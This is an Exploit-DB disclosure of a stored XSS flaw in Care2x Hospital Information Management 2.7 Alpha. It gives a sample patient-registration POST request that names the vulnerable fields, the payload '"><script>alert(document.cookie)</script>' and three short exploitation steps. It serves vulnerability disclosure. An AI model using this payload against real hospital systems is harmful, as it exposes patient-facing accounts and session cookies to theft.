Exploit-DB #50197
Description: Care2x Open Source Hospital Information Management 2.7 Alpha - 'Multiple' Stored XSS
Type: webapps
Platform: php
Date: 2021-08-13
Author: securityforeveryone.com

Exploit:
# Exploit Title: Care2x Open Source Hospital Information Management 2.7 Alpha - 'Multiple' Stored XSS
# Date: 13.08.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

Stored Cross Site Scripting(XSS) vulnerability in Care2x Hospital Information Management 2.7 Alpha. The vulnerability has found POST requests in /modules/registration_admission/patient_register.php page with "name_middle", "addr_str", "station", "name_maiden", "name_2", "name_3" parameters.


Example: /modules/registration_admission/patient_register.php POST request

Content-Disposition: form-data; name="date_reg"

2021-07-29 12:15:59
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="title"

asd
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_last"

asd
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_first"

asd
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_2"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_3"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_middle"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_maiden"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="name_others"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="date_birth"

05/07/2021
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="sex"

m
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="addr_str"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="addr_str_nr"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]197241205
Content-Disposition: form-data; name="addr_zip"

XSS
---------------------
 
If an attacker exploit this vulnerability, takeover any account wants.

Payload Used:

"><script>alert(document.cookie)</script>

EXPLOITATION

1- Login to Care2x Panel
2- /modules/registration_admission/patient_register.php
3- Use the payload vulnerable parameters.


ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''